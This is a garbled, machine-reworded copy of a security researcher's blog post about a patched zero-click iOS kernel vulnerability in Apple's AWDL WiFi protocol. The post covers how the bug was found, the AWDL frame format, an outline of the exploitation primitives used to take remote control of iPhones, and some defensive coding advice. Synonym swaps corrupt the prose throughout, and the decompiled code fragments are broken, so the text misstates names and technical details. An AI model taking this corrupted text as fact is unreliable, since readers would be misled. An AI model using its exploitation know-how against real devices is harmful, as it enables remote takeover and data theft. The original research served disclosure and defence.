An iOS zero-click radio proximity exploit odyssey

Last modified on December 03, 2020

Posted by Ian Beer, Venture Zero

NOTE: This inform self-discipline was mounted earlier than the beginning of Privacy-Keeping Contact Tracing in iOS 13.5 in Might presumably moreover 2020.

Contents hide
3 IDA Good's unsuitable references window reveals a gargantuan assortment of calls to memmove. A callsite in IO80211AWDLPeer::parseAwdlSyncTreeTLV is highlighted
12 Wireshark parses radiotap headers in pcaps and reveals them in a human-readable make
23 Computing the relative offsets between two IO80211AWDLPeers subsequent to each varied in reminiscence it seems that a really useful partial overwrite of peer_list_flink is now not that you could be presumably presumably effectively trust as a result of it lies on a 6-byte boundary from the lower sight's sync_tree_macs array
24 The construction of fields in my reverse-engineered model of IO80211AWDLPeer. You could presumably presumably effectively elaborate and edit buildings in C-syntax like this the make the most of of the Native Kinds window in IDA: generous-clicking a type and choosing "Edit..." brings up an interactive edit window; or not it's very secure for reversing superior recordsdata buildings trustworthy like this.
29 Utilizing the disclosed reminiscence we will safely manipulate the lower fields in upper_peer the make the most of of the SyncTree buffer overflow
30 By corrupting upper_peer's peer_manager pointer then spoofing a body from upper_peer we will cause an oblique write by the corrupted peer_manager pointer. The peer_manager has a dword self-discipline at offset +0x7c80 which counts the full assortment of bytes bought from all buddies; actionFrameReport will add the dimensions of the body spoofed from upper_peer to the dword on the corrupted peer_manager pointer + 0x7c80 giving us an arbitrary add former
31 The identical annotated hexdump from the preliminary learn former when it stumbled on two neighbouring buddies. At offset +0x43 within the dump we will peek the per_second_timestamp price. We'd now rob to leak little question one among these which we strain to be house at an proper second in time
32 My reverse engineered model of the BSS Guidance context object. I've managed to call a great deal of the fields.
35 Your full WiFi adaptors examined throughout this exploit sample job, from prime left to backside beneficiant: D-Hyperlink DWA-125, Netgear WG111-v2, Netgear A6210, ZyXEL NWD6605, ASUS USB-AC56, D-Hyperlink DWA-171, Vivanco 36665, tp-hyperlink Archer T1U, Microsoft Xbox wi-fi adaptor Model 1790, Edimax EW-7722UTn V2, FRITZ!WLAN AC430M, ASUS USB-AC68, tp-hyperlink AC1300
37 The BBC micro:bit is an education-centered dev board. This characterize reveals the rear of the board; the doorway has a 5x5 LED matrix and two buttons. They charge beneath $20.
39 Abstractly, physmaps are digital mappings of all of bodily reminiscence

In this demo I remotely house off an unauthenticated kernel reminiscence corruption vulnerability which causes all iOS units in radio-proximity to reboot, and not using a person interaction. Over the subsequent 30'000 phrases I'll cover the whole job to traipse from this recurring demo to effectively exploiting this vulnerability in advise to hurry arbitrary code on any close by iOS instrument and rob the whole person recordsdata

Quoting @halvarflake's Offensivecon keynote from February 2020:

"Exploits are the closest factor to "magic spells" we expertise within the true world: Bear the efficient incantation, construct distant retain an eye fixed on over instrument."

For six months of 2020, whereas locked down within the nook of my bed room surrounded by my obedient, screaming youngsters, I've been engaged on a magic spell of my devour. No, sadly now not an incantation to influence the youngsters to sleep in until 9am each morning, however as an completely different a wormable radio-proximity exploit which allows me to construct full retain an eye fixed on over any iPhone in my neighborhood. Look the whole photographs, learn the whole e-mail, copy the whole personal messages and visible present unit each little factor which happens on there in true-time. 

The takeaway from this mission must now not be: nobody will spend six months of their existence true to hack my cell phone, I'm trustworthy.

As a alternative, it could presumably be: one particular person, working alone of their bed room, was in a task to invent a skill which might allow them to noticeably compromise iPhone customers they'd come into shut contact with.

Imagine the sense of vitality an attacker with this type of skill have to truly really feel. As all of us pour further and additional of our souls into these units, an attacker can construct a look after trove of recordsdata on an unsuspecting goal.

What's further, with directional antennas, elevated transmission powers and serene receivers the fluctuate of such assaults can even even be important.

I get now not decide up any proof that these problems have been exploited within the wild; I stumbled on them myself by guide reverse engineering. But we enact know that exploit distributors perceived to eradicate witness of those fixes. As an illustration, eradicate this tweet from Impress Dowd, the co-founding father of Azimuth Security, an Australian "market-leading recordsdata security commerce":

This tweet from @mdowd on Might presumably moreover 27th 2020 talked only a few double free in BSS reachable by method of AWDL

The vulnerability Impress is referencing proper right here is little question one among many vulnerabilities I reported to Apple. You get now not witness a restore like that with out having a deep interest on this inform code.

This Vice article from 2018 provides a great overview of Azimuth and why they are going to even merely be interested in such vulnerabilities. You could presumably presumably effectively presumably imagine that Azimuth's judgement of their shoppers aligns with your personal and political affairs, it's possible you'll presumably presumably effectively now not, that is now not the extent. Unpatched vulnerabilities are now not like bodily territory, occupied by handiest one facet. Each individual can exploit an unpatched vulnerability and Impress Dowd wasn't the ultimate discover particular person to launch tweeting about vulnerabilities in AWDL.

This has been the longest solo exploitation mission I've ever labored on, taking spherical half a yr. But it fully's beneficial to emphasize up entrance that the groups and companies supplying the realm commerce in cyberweapons like this one are now not typically true folks working alone. They're smartly-resourced and centered groups of taking part specialists, each with their devour specialization. They impact now not look like starting with totally no clue how bluetooth or wifi work. They moreover probably decide up entry to recordsdata and {hardware} I merely get now not decide up, like sample units, specific cables, leaked provide code, symbols recordsdata and so on.

Clearly, an iPhone is now not designed to allow folks to invent capabilities like this. So what went so scandalous that it was that you could be presumably presumably effectively trust? Unfortunately, or not it's the identical earlier story. A considerably trivial buffer overflow programming error in C++ code within the kernel parsing untrusted recordsdata, uncovered to distant attackers.

If reality be instructed, this complete exploit makes use of true a single reminiscence corruption vulnerability to compromise the flagship iPhone 11 Good instrument. With true this one self-discipline I used to be in a task to defeat the whole mitigations in advise to remotely construct native code execution and kernel reminiscence learn and write.

Relative to the dimensions and complexity of those codebases of basic tech companies, the sizes of the safety groups devoted to proactively auditing their product's provide code to evaluate about for vulnerabilities are very diminutive. Android and iOS are full custom-made tech stacks. It be now not true kernels and instrument drivers however dozens of attacker-reachable apps, a whole bunch of firms and merchandise and a whole bunch of libraries engaged on units with custom-made {hardware} and firmware.

In degree of reality studying the whole code, along with each glossy line furthermore the a couple of years of legacy code, is unrealistic, now not a lot lower than with the division of sources repeatedly thought-about in tech the place the ratio of security engineers to builders can even merely be 1: 20, 1: 40 and even elevated.

To mannequin out this insurmountable self-discipline, security groups rightly dwelling a heavy emphasis on invent degree overview of glossy beneficial properties. That is tidy: getting stuff beneficiant on the invent part can assist restrict the have an effect on of the errors and bugs which is ready to inevitably happen. As an illustration, ensuring {that a} model glossy {hardware} peripheral like a GPU can handiest ever entry a restricted allotment of bodily reminiscence helps constrain the worst-case consequence if the GPU is compromised by an attacker. The attacker is confidently compelled to go looking out an additional vulnerability to "lengthen the exploit chain", having to make the most of an ever-increasing assortment of vulnerabilities to hack a single instrument. Retrofitting constraints like this to already-birth beneficial properties can be important tougher, if now not now not seemingly.

Moreover to to invent-level critiques, security groups mannequin out the complexity of their merchandise by making an try to constrain what an attacker can even merely be in a task to enact with a vulnerability. These are mitigations. They eradicate many varieties and can be normal, like stack cookies or utility inform, like Construction ID in JavaScriptCore. The ensures which is ready to be made by mitigations are ceaselessly weaker than these made by invent-level beneficial properties nevertheless the objective is comparable: to "lengthen the exploit chain", confidently forcing an attacker to go looking out a model glossy vulnerability and incur some charge.

The third means broadly earlier by defensive groups is fuzzing, which makes an attempt to emulate an attacker's vulnerability discovering job with brute strain. Fuzzing is ceaselessly misunderstood as an environment friendly method to take a look at easy-to-gain vulnerabilities or "low-inserting fruit". A further proper description can be that fuzzing is an environment friendly method to take a look at easy-to-fuzz vulnerabilities. Loads of vulnerabilities which a gifted vulnerability researcher can be conscious low-inserting fruit can require reaching a program degree that no fuzzer at the present time will seemingly be in a task to succeed in, regardless of the compute sources earlier.

The matter for tech companies and indubitably now not unusual to Apple, is that whereas invent overview, mitigations, and fuzzing are beneficial for developing fetch codebases, they're faraway from sufficient.

Fuzzers can now not cause about code in the identical means a gifted vulnerability researcher can. This implies that with out concerted guide effort, vulnerabilities with a considerably low rate-of-discovery dwell considerably prevalent. A basic degree of curiosity of my work over the last few years had been making an try to spotlight that the iOS codebase, true like a number of varied basic normal working system, has a excessive vulnerability density. Not handiest that, however there is a excessive density of "beneficiant bugs", that is, vulnerabilities which permit the creation of extremely implausible bizarre machines.

This notion of "beneficiant bugs" is one factor that offensive researchers understand intuitively however one factor which can presumably additionally merely be exhausting to make the most of for these with out an exploit sample background. Thomas Dullien's bizarre machines paper provides the superior introduction to the notion of wierd machines and their applicability to exploitation. Given a sufficiently superior thunder machine engaged on attacker-managed enter, a "beneficiant laptop virus" allows the attacker-managed enter to as an completely different develop into "code", with the "beneficiant laptop virus" introducing a model glossy, surprising thunder transition right into a model glossy, unintended thunder machine. The artwork of exploitation then turns into the artwork of determining make the most of vulnerabilities to introduce sufficiently extremely implausible glossy thunder transitions such that, as an finish objective, the attacker-supplied enter turns into code for a model glossy, bizarre machine really useful of arbitrary system interactions.

It be with this bizarre machine that mitigations will seemingly be defeated; even a mitigation with out implementation flaws is ceaselessly no match for a sufficiently extremely implausible bizarre machine. An attacker purchasing for vulnerabilities is having a decide about particularly for bizarre machine primitives. Their auditing job is centered on a specific attack-surface and inform vulnerability courses. This stands in stark distinction to a product security crew with obligation for each that you could be presumably presumably effectively trust assault floor and every vulnerability class.

As issues stand now in November 2020, I bear or not it's quiet slightly that you could be presumably presumably effectively trust for a motivated attacker with true one vulnerability to invent a sufficiently extremely implausible bizarre machine to completely, remotely compromise prime-of-the-fluctuate iPhones. If reality be instructed, the elements of that job which can be hardest probably are now not these which you'll presumably presumably effectively demand, now not a lot lower than now not with out an appreciation for bizarre machines.

Vulnerability discovery stays a reasonably linear objective of time invested. Defeating mitigations stays a matter of developing a sufficiently extremely implausible bizarre machine. Concretely, Pointer Authentication Codes (PAC) supposed I'll presumably presumably effectively now not eradicate the usual inform shortcut to a terribly extremely implausible bizarre machine by method of trivial program counter retain an eye fixed on and ROP or JOP. As a alternative I constructed arbitrary reminiscence learn and write former which in practise is true as extremely implausible and one factor which the current implementation of PAC, which focuses nearly completely on proscribing retain an eye fixed on-float, wasn't designed to mitigate.

Stable system invent did now not save the day on account of the inevitable tradeoffs alive to in developing shippable merchandise. Can decide as a lot as quiet this type of posh parser driving only a few, superior thunder machines really be working in kernel context in opposition to untrusted, distant enter? Ideally, no, and this was nearly indubitably flagged throughout a invent overview. But there are tight timing constraints for this inform attribute which means ambiance aside the parser is non-trivial. It be indubitably that you could be presumably presumably effectively trust, however which can presumably be a basic engineering self-discipline a methods earlier the scope of the attribute itself. At the tip of the day, or not it's beneficial properties which promote telephones and this attribute is indubitably very chilly; I'm succesful of completely understand the judgement title which was made to allow this invent regardless of the risks.

But chance means there are penalties if issues get now not traipse as anticipated. Thru machine vulnerabilities it is going to most definitely presumably additionally even be exhausting to attach the dots between these dangers which have been accepted and the penalties. I get now not know if I'm the ultimate discover one who stumbled on these vulnerabilities, although I'm the primary to advise Apple about them and work with Apple to restore them. Over the subsequent 30'000 phrases I'll present cowl you what I used to be in a task to enact with a single vulnerability on this assault floor and confidently provide you with a model glossy or renewed perception into the vitality of the bizarre machine.

I get now not decide all hope is misplaced; there's true an dangerous lot further left to enact. In the conclusion I'll try and fragment some ideas for what I decide can even merely be required to invent a further fetch iPhone.

Whenever you occur to want to take a look at alongside it's possible you'll presumably presumably effectively achieve particulars related to self-discipline 1982 within the Venture Zero self-discipline tracker.

In 2018 Apple shipped an iOS beta invent with out stripping objective title symbols from the kernelcache. Whereas this was nearly indubitably an error, occasions like this assist researchers on the defending facet significantly. One of many strategies I rob to procrastinate is to scroll by this astronomical listing of symbols, studying bits of assembly proper right here and there. One day I used to be having a decide about by IDA's unsuitable-references to memmove and not using a inform goal in thoughts when one factor jumped out as being price a extra in-depth decide about:

IDA Good's unsuitable references window reveals a gargantuan assortment of calls to memmove. A callsite in IO80211AWDLPeer::parseAwdlSyncTreeTLV is highlighted

Having objective names provides an enormous quantity of lacking context for the vulnerability researcher. A really stripped 30+MB binary blob such as a result of the iOS kernelcache can even even be overwhelming. There's an enormous quantity of labor to go looking out out how each little factor suits collectively. What bits of code are uncovered to attackers? What sanity checking is happening and the place? What execution context are varied elements of the code working in?

In this case this inform driver is moreover readily available on MacOS, the place objective title symbols are now not stripped.

There are three issues which made this highlighted objective stand out to me:

1) The objective title:


At this degree, I had no realizing what AWDL was. But I did know that TLVs (Form, Size, Value) are ceaselessly earlier to current building to recordsdata, and parsing a TLV could presumably presumably effectively counsel or not it's coming from someplace untrusted. And the 80211 is a giveaway that this probably has one factor to enact with WiFi. Worth a extra in-depth decide about. Right right here is the uncooked decompilation from Hex-Rays which we are going to orderly up later:

__int64 __fastcall IO80211AWDLPeer::parseAwdlSyncTreeTLV(__int64 this, __int64 buf)


  const void *v3; // x20

  _DWORD *v4; // x21

  int v5; // w8

  unsigned __int16 v6; // w25

  unsigned __int64 some_u16; // x24

  int v8; // w21

  __int64 v9; // x8

  __int64 v10; // x9

  unsigned __int8 *v11; // x21

  v3=(const void *)(buf + 3);

  v4=(_DWORD *)(this + 1203);

  v5=*(_DWORD *)(this + 1203);

  if ( ((v5 + 1) & 0xFFFFu)

    v6=v5 + 1;



  some_u16=*(unsigned __int16 *)(buf + 1) / 6uLL;

  if ( (_DWORD)some_u16==v6 )









      "Peer %02X:%02X:%02X:%02X:%02X:%02X: PATH LENGTH error hc %u calc %u n",

      *(unsigned __int8 *)(this + 32),

      *(unsigned __int8 *)(this + 33),

      *(unsigned __int8 *)(this + 34),

      *(unsigned __int8 *)(this + 35),

      *(unsigned __int8 *)(this + 36),

      *(unsigned __int8 *)(this + 37),






  v8=memcmp((const void *)(this + 5520), v3, (unsigned int)(6 some_u16));

  memmove((void *)(this + 5520), v3, (unsigned int)(6 some_u16));

Definitely seems to be prefer it's parsing one thing. There's some fiddly byte manipulation; one thing which type of seems to be like a bounds examine and an error message.

2) The second factor which stands out is the error message string:

"Peer %02X:%02X:%02X:%02X:%02X:%02X: PATH LENGTH error hc %u calc %un" 

Any type of LENGTH error appears like enjoyable to me. Especially once you look just a little nearer...

3) The management movement graph.

Reading the code a bit extra intently it seems that though the log message comprises the phrase "error" there's nothing which is being handled as an error situation right here. IO80211Peer::logDebug is not a deadly logging API, it simply logs the message string. Tracing again the size worth which is handed to memmove, no matter which path is taken we nonetheless find yourself with what seems to be like an arbitrary u16 worth from the enter buffer (rounded all the way down to the closest a number of of 6) handed because the size argument to memmove.

Can it actually be this straightforward? Typically, in my expertise, bugs this shallow in actual assault surfaces are likely to not work out. There's often a size examine someplace far-off; you may spend a couple of days attempting to work out why you can not seem to attain the code with a nasty dimension till you discover it and understand this was a CVE from a decade in the past. Still, price a attempt.

But what even is that this assault floor?

A little bit of googling later we be taught that awdl is a sort of welsh poetry, and in addition an acronym for an Apple-proprietary mesh networking protocol in all probability known as Apple Wireless Direct Link. It seems for use by AirDrop amongst different issues.

The first objective is to find out whether or not we will actually set off this vulnerability remotely.

We can see from the casts within the parseAwdlSyncTreeTLV methodology that the type-length-value objects have a single-byte kind then a two-byte size adopted by a payload worth.

In IDA choosing the operate title and going View -> Open subviews -> Unhealthy references (or urgent 'x') reveals IDA handiest stumbled on one caller of this vogue:



      case 0x14u:

        if (v109[20]>=2)

          goto LABEL_126;


        IO80211AWDLPeer::parseAwdlSyncTreeTLV(this, bytes);

So 0x14 is most most undoubtedly the shape price, and v109 seems prefer it be probably counting the assortment of those TLVs.

Taking a decide about within the listing of objective names we will moreover peek that there is a corresponding ConstructSyncTreeTlv means. If we could presumably presumably effectively get two machines to be a half of an AWDL neighborhood, could presumably presumably effectively we true make the most of the MacOS kernel debugger to invent the SyncTree TLV very gargantuan earlier than or not it's despatched?

Yes, it's possible you'll presumably presumably effectively. Utilizing two MacOS laptops and enabling AirDrop on each of them I earlier a kernel debugger to edit the SyncTree TLV despatched by little question one among many laptops, which precipitated the fairly a complete lot of 1 to kernel scare on account of an out-of-bounds memmove.

Whenever you occur to are attracted to precisely enact that eradicate a decide about on the long-established vulnerability negate I despatched to Apple on November 29th 2019. This vulnerability was mounted as CVE-2020-3843 on January 28th 2020 in iOS 13.1.1/MacOS 10.15.3.

Our journey is handiest true origin. Getting from proper right here to working an implant on an iPhone 11 Good and not using a person interaction goes to eradicate some time...

There are a series of papers from the Stable Cell Networking Lab at TU Darmstadt in Germany (moreover typically referred to as SEEMOO) which decide about at AWDL. The researchers there decide up executed a considerable quantity of reverse engineering (furthermore having entry to some leaked Broadcom provide code) to get these papers; they're treasured to look after AWDL and considerably important the ultimate discover sources accessible. 

The first paper One Billion Apples’ Secret Sauce: Recipe for the Apple Wireless Divulge Hyperlink Advert hoc Protocol covers the format of the frames earlier by AWDL and the operation of the channel-hopping mechanism.

The second paper A Billion Open Interfaces for Eve and Mallory: MitM, DoS, and Monitoring Attacks on iOS and macOS Thru Apple Wireless Divulge Hyperlink focuses further on Airdrop, little question one among many OS beneficial properties which makes use of AWDL. This paper moreover examines how Airdrop makes use of Bluetooth Low Vitality categorized adverts to allow AWDL interfaces on varied units.

The be taught neighborhood wrote an launch provide AWDL shopper referred to as OWL (Open Wireless Hyperlink). Even supposing I used to be unable to get OWL to work it was nonetheless a really useful reference and I did make the most of only a few of their body definitions.

AWDL is an Apple-proprietary mesh networking protocol designed to allow Apple units like iPhones, iPads, Macs and Apple Watches to make advert-hoc sight-to-sight mesh networks. Chances are that when you devour an Apple instrument you're organising or connecting to these transient mesh networks only a few occasions a day with out even realizing it.

Whenever you occur to make a choice up ever earlier Airdrop, streamed tune to your Homepod or Apple TV by method of Airplay or earlier your iPad as a secondary level out with Sidecar then you definitely positively've been the make the most of of AWDL. And even whereas you have not been the make the most of of those beneficial properties, if folks close by decide up been then or not it's slightly that you could be presumably presumably effectively trust your instrument joined the AWDL mesh neighborhood they have been the make the most of of anyway.

AWDL is now not a personalised radio protocol; the radio layer is WiFi (particularly 802.11g and 802.11a). 

Most folks's expertise with WiFi includes connecting to an infrastructure neighborhood. At dwelling it's possible you'll presumably presumably effectively traipse a WiFi entry degree into your modem which creates a WiFi neighborhood. The entry degree proclaims a neighborhood title and accepts purchasers on a specific channel.

To attain varied units on the on-line you ship WiFi frames to the entry degree (1). The entry degree sends them to the modem (2) and the modem sends them to your ISP (3,4) which sends them to the on-line:

The topology of a recurring dwelling neighborhood

To attain varied units to your dwelling WiFi neighborhood you ship WiFi frames to the entry degree and the entry degree relays them to the fairly a complete lot of units:

WiFi purchasers keep in touch by method of an entry degree, even when they're inside WiFi fluctuate of each varied

In degree of reality the wi-fi indicators get now not propagate as straight strains between the shopper and entry degree however unfold out in house such that the two shopper units can even merely be in a task to peek the frames transmitted by each varied to the entry degree.

If WiFi shopper units can already ship WiFi frames straight to each varied, then why decide up the entry degree in the slightest degree? With out the complexity of the entry degree it's possible you'll presumably presumably effectively indubitably decide up important further magical experiences which "true work", requiring no bodily setup.

There are a large assortment of protocols for doing true this, each with their devour tradeoffs. Tunneled Divulge Hyperlink Setup (TDLS) allows two units already on the identical WiFi neighborhood to barter a right away connection to each varied such that frames could presumably presumably effectively now not be relayed by the entry degree.

Wi-Fi Divulge allows two units now not already on the identical neighborhood to construct an encrypted sight-to-sight Wi-Fi neighborhood, the make the most of of WPS to bootstrap a WPA2-encrypted advert-hoc neighborhood.

Apple's AWDL would not require buddies to already be on the identical neighborhood to construct a sight-to-sight connection, however not like Wi-Fi Divulge, AWDL has no constructed-in encryption. Not like TDLS and Wi-Fi Divulge, AWDL networks can possess greater than two buddies and so they are going to moreover make a mesh neighborhood configuration the place only a few hops are required.

AWDL has one further trick up its sleeve: an AWDL shopper can even even be related to an AWDL mesh neighborhood and a typical AP-essentially basically based mostly infrastructure neighborhood on the identical time, the make the most of of handiest one Wi-Fi chipset and antenna. To peek how that works we need to decide only a few little further at some Wi-Fi fundamentals.


Wi-Fi Divulge


Requires AP neighborhood








Seek Restrict




Concurrent AP Connection That you simply could presumably presumably effectively decide of




There are over 20 years of WiFi requirements spanning varied frequency ranges of the electromagnetic spectrum, from as little as 54MHz in 802.11af as a lot as over 60GHz in 802.11advert. Such networks are slightly esoteric and person tools makes use of frequencies come 2.4 Ghz or 5 Ghz. Ranges of frequencies are cut up into channels: for example in 802.11g channel 6 means a 22 Mhz fluctuate between 2.426 GHz and a pair of.448 GHz.

More moderen 5 GHz requirements like 802.11ac allow for wider channels as a lot as 160 MHz; 5 Ghz channel numbers subsequently encode each the middle frequency and channel width. Channel 44 is a 20 MHz fluctuate between 5.210 Ghz and 5.230 Ghz whereas channel 46 is a 40 Mhz fluctuate which begins on the identical lower frequency as channel 44 of 5.210 GHz however extends as a lot as 5.250 GHz.

AWDL typically sends and receives frames on channel 6 and 44. How does that work when you are moreover the make the most of of your dwelling WiFi neighborhood on a varied channel?

In advise to appear like related to 2 separate networks on separate frequencies on the identical time, AWDL-actually useful units cut up time into 16ms chunks and advise the WiFi controller chip to quickly swap between the channel for the infrastructure neighborhood and the channel being earlier by AWDL:

A recurring AWDL channel hopping sequence, alternating between diminutive courses on AWDL social channels and longer courses on the AP channel

The true channel sequence is dynamic. Peers broadcast their channel sequences and adapt their devour sequence to match buddies with which they prefer to exclaim. The courses when an AWDL sight is listening on an AWDL channel are recognized as Availability Windows.

In this vogue the instrument can look like related to the entry degree whereas moreover taking fragment within the AWDL mesh on the identical time. Clearly, frames can even merely be omitted from each the AP and the AWDL mesh nevertheless the protocols are treating radio as an unreliable transport anyway so this handiest really has an have an effect on on throughput. A gargantuan fragment of the AWDL protocol includes making an try to synchronize the channel switching between buddies to toughen throughput.

The SEEMOO labs paper has a considerable further detailed decide about on the AWDL channel hopping mechanism.

These are the primary machine-managed fields which traipse over the air in a WiFi body:

struct ieee80211_hdr {

  uint16_t frame_control;

  uint16_t duration_id;

  struct ether_addr dst_addr;

  struct ether_addr src_addr;

  struct ether_addr bssid_addr;

  uint16_t seq_ctrl;

} __attribute__((packed));

The first discover comprises fields which elaborate the make of this body. These are broadly cut up into three body households: Administration, Support watch over and Files. The developing blocks of AWDL make the most of a subtype of Administration frames referred to as Action frames.

The deal with fields in an 802.11 header can decide up varied meanings looking on the context; for our capabilities the primary is the vacation spot instrument MAC deal with, the second is the provide instrument MAC and the third is the MAC deal with of the infrastructure neighborhood entry degree or BSSID.

Since AWDL is a sight-to-sight neighborhood and would not make the most of an entry degree, the BSSID self-discipline of an AWDL body is house to the exhausting-coded AWDL BSSID MAC of 00: 25: 00:ff: 94: 73. It be this BSSID which AWDL purchasers are purchasing for once they're searching for varied buddies. Your router could presumably presumably effectively now not by chance make the most of this BSSID on account of Apple owns the 00: 25: 00 OUI.

The format of the bytes following the header is counting on the body type. For an Action body the subsequent byte is a class self-discipline. There are a gargantuan assortment of classes which permit units to substitute each make of recordsdata. As an illustration class 5 covers assorted types of radio measurements like noise histograms.

The precise class price 0x7f defines this body as a vendor-tell motion body which means that the subsequent three bytes are the OUI of the seller accountable for this discover motion body format.

Apple owns the OUI 0x00 0x17 0xf2 and that is the OUI earlier for AWDL motion frames. Every byte within the body after that is now proprietary, outlined by Apple moderately than an IEEE recurring.

The SEEMOO labs crew decide up executed a mountainous job reversing the AWDL motion body format and they developed a wireshark dissector.

AWDL Action frames decide up a mounted-sized header adopted by a variable dimension assortment of TLVs:

The construction of fields in an AWDL body: 802.11 header, motion body header, AWDL mounted header and variable dimension AWDL payload

Every TLV has a single-byte type adopted by a two-byte dimension which is the dimensions of the variable-sized payload in bytes.

There are two types of AWDL motion body: Master Indication Frames (MIF) and Periodic Synchronization Frames (PSF). They differ handiest of their type self-discipline and the assortment of TLVs they possess.

An AWDL mesh neighborhood has a single grasp node determined by an election job. Every node proclaims a MIF containing a grasp metric parameter; the node with the ultimate discover metric turns into the grasp node. It is that this grasp node's PSF timing values which must be adopted as a result of the best timing values for the whole varied nodes to synchronize to; on this vogue their availability home windows can overlap and the neighborhood can decide up a elevated throughput.

Abet in 2017, Venture Zero researcher Gal Beniamini printed a seminal 5-fragment weblog publish sequence entitled Over The Air the place he exploited a vulnerability within the Broadcom WiFi chipset to construct native code execution on the WiFi controller, then pivoted by method of an iOS kernel laptop virus within the chipset-to-Utility Processor interface to construct arbitrary kernel reminiscence learn/write.

If that's so, Gal focused a vulnerability within the Broadcom firmware when it was parsing recordsdata buildings related to TDLS. The uncooked make of those recordsdata buildings was dealt with by the chipset firmware itself and by no means made it to the utility processor.

In distinction, for AWDL the frames look like parsed of their entirety on the Utility Processor by the kernel driver. Whereas this implies we will discover a complete lot of the AWDL code, it moreover means that we'll want to invent the whole exploit on prime of primitives we will invent with the AWDL parser, and these primitives will must be extremely implausible sufficient to remotely compromise the instrument. Apple continues to ship glossy mitigations with each iOS begin and {hardware} revision, and we're for advantageous going to accommodate mainly probably the most up-to-date iPhone 11 Good with mainly probably the most fascinating assortment of those mitigations in dwelling.

Manufacture we really invent one factor extremely implausible sufficient to remotely defeat kernel pointer authentication true with a linear heap overflow in a WiFi body parser? Defeating mitigations typically includes developing up a library of strategies to assist invent further and additional extremely implausible primitives. You could presumably presumably effectively presumably launch with a linear heap overflow and put it to use to invent an arbitrary learn, then make the most of that to assist invent an arbitrary bit flip former and so on.

I've constructed a library of strategies and ways like this for doing native privilege escalations on iOS however I'll want to launch once more from scratch for this ticket glossy assault floor.

The first two C++ courses to familiarize ourselves with are IO80211AWDLPeer and IO80211AWDLPeerSupervisor. There's one IO80211AWDLPeer object for each AWDL sight which a instrument has now not too prolonged previously bought a body from. A background timer destroys idle IO80211AWDLPeer objects. There's a single event of the IO80211AWDLPeerSupervisor which is accountable for orchestrating interactions between this instrument and varied buddies.

Advise that even though we now decide up some objective names from the iOS 12 beta 1 kernelcache and the MacOS IO80211Household driver we get now not decide up object construction recordsdata. Brandon Azad identified that the MacOS prelinked kernel picture does possess some building construction recordsdata within the __CTF.__ctf fragment which is ready to be parsed by the dtrace ctfdump instrument. Unfortunately this seems to handiest possess buildings from the launch provide XNU code.

The sizes of OSObject-essentially basically based mostly IOKit objects can with out problems be specific statically nevertheless the names and types of particular person fields can now not. One of mainly probably the most time-ingesting duties of this complete mission was the painstaking job of reverse engineering the kinds and meanings of an enormous assortment of the fields in these objects. Every IO80211AWDLPeer object is nearly 6KB; that is a complete lot of functionality fields. Having building construction recordsdata would probably decide up saved months.

Whenever you occur to are a defender developing a chance mannequin get now not clarify this the scandalous means: I'd take any competent true-world exploit sample crew has this recordsdata; each from photographs or units with beefy debug symbols they've bought with or with out Apple's consent, insider entry, and even true from monitoring every firmware picture ever publicly launched to check whether or not debug symbols have been launched by chance. Better teams could presumably presumably effectively even decide up folks devoted to developing custom-made reversing devices.

Six years previously I had hoped Venture Zero can be in a task to get authentic entry to recordsdata sources like this. Six years later and I'm quiet spending months reversing building layouts and naming variables.

We'll eradicate IO80211AWDLPeerSupervisor::actionFrameInput as a result of the extent the place untrusted uncooked AWDL body recordsdata begins being parsed. There could presumably be ceaselessly a separate, earlier processing layer within the WiFi chipset driver however its parsing is minimal.

Every body bought whereas the instrument is listening on a social channel which was despatched to the AWDL BSSID ends up at actionFrameInput, wrapped in an mbuf building. Mbufs are an anachronistic recordsdata building earlier for wrapping collections of networking buffers. The mbuf API is the stuff of nightmares, however that is now not in scope for this blogpost.

The mbuf buffers are concatenated to get a contiguous body in reminiscence for parsing, then IO80211PeerSupervisor::discoverPeer typically referred to as, passing the provide MAC deal with from the bought body:


IO80211PeerSupervisor::discoverPeer(struct ether_addr *peer_mac)

If an AWDL body has now not too prolonged previously been bought from this provide MAC then this objective returns a pointer to an current IO80211AWDLPeer building representing the sight with that MAC. The IO80211AWDLPeerSupervisor makes use of a reasonably subtle priority queue recordsdata building referred to as IO80211CommandQueue to retailer tips that could these at the moment full of life buddies.

If the sight is now not stumbled on within the IO80211AWDLPeerSupervisor's queue of buddies then a model glossy IO80211AWDLPeer object is distributed to image this glossy sight and or not it's inserted into the IO80211AWDLPeerSupervisor's buddies queue.

Once a succesful sight object has been stumbled on the IO80211AWDLPeerSupervisor then calls the actionFrameReport means on the IO80211AWDLPeer so that it'll most definitely presumably deal with the motion body.

This method is accountable for a complete lot of of the AWDL motion body dealing with and comprises a great deal of the untrusted parsing. It first updates some timestamps then reads assorted fields from TLVs within the body the make the most of of the IO80211AWDLPeerSupervisor::getTlvPtrForSort method to extract them straight from the mbuf. After this preliminary parsing comes the basic loop which takes each TLV in flip and parses it.

First each TLV is handed to IO80211AWDLPeer::tlvCheckBounds. This method has a hardcoded listing of inform minimal and most TLV lengths for some of the supported TLV varieties. For varieties now not explicitly listed it enforces a most dimension of 1024 bytes. I talked about earlier that I typically come across code constructs which decide about like shallow reminiscence corruption handiest to later watch a bounds check a ways-off. That is strictly that make of fabricate, and is indubitably the place Apple added a bounds register the patch.

Form 0x14 (which has the vulnerability within the parser) is now not explicitly listed in tlvCheckBounds so it is going to get the default higher dimension restrict of 1024, enormously larger than the 60 byte buffer distributed for the vacation spot buffer within the IO80211AWDLPeer building.

This pattern of ambiance aside bounds assessments a methods from parsing code is fragile; or not it's too straightforward to overlook or now not heed that after along with code for a model glossy TLV type or not it's moreover a requirement to replace the tlvCheckBounds objective. If this pattern is earlier, try and can be found available in the market encourage up with a way to maintain in strain that glossy code need to explicitly expose an higher certain proper right here. One possibility can even merely be to invent advantageous an enum is earlier for the shape and wrap the tlvCheckBounds means in a pragma to quickly allow clang's -Wswitch-enum warning as an error:

#pragma clang diagnostic push

#pragma diagnostic error "-Wswitch-enum"

IO80211AWDLPeer::tlvCheckBounds(...) {

  swap(tlv->type) {

    case type_a:


    case type_b:



#pragma clang diagnostic pop

This causes a compilation error if the swap assertion would not decide up an inform case assertion for each price of the tlv->type enum.

Static analysis devices like Semmle can moreover assist proper right here. The EnumSwitch class can even even be earlier like in this occasion code to look at whether or not all enum values are explicitly dealt with.

If the tlvCheckBounds assessments flow into then there is a swap assertion with a case to parse each supported TLV:










inline parsing of serviceParam






inline parsing of ARPA








inline parser extracting 2 bytes




inlined parser of NSync



Right this is a cleaned up decompilation of the related elements of the parseAwdlSyncTreeTLV means which comprises the vulnerability:




  u64 new_sync_tree_size;

